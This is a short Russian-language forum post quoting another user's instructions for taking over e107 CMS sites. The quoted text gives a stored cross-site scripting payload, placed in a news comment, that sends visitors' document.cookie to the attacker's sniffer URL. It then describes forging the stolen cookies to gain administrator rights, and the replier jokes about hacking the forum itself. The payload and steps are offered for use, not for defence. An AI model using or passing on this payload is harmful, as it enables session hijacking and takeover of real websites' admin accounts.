19 Dec 06, 22:00
|
#5 (permalink)
|
Rep Power: 46 
|
Quote:
|
Originally Posted by DAVid-hay
e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)
Code:
[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]
3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.
работает на всех версиях, где можно вставить комент с подобным кодом =) |
может после взлома нормальный форум сделают:smile: |
| |
__________________
Бог мой, как велико созвездие храбрецов на небосклоне нашей истории.
И как ослепительно их сияние. Увенчаны все, у всех есть шрамы славы.
В зрачках у них молнии, гнев, горечь.
Не осталось, почти не осталось в мире рода, который бы не узнал силу нашей руки.
Г. Нждеh
Judica, Domine, nocentes me: expugna impugnantes me.
Confundantur et revereantur quaerentes animam meam.
|
|
|
|
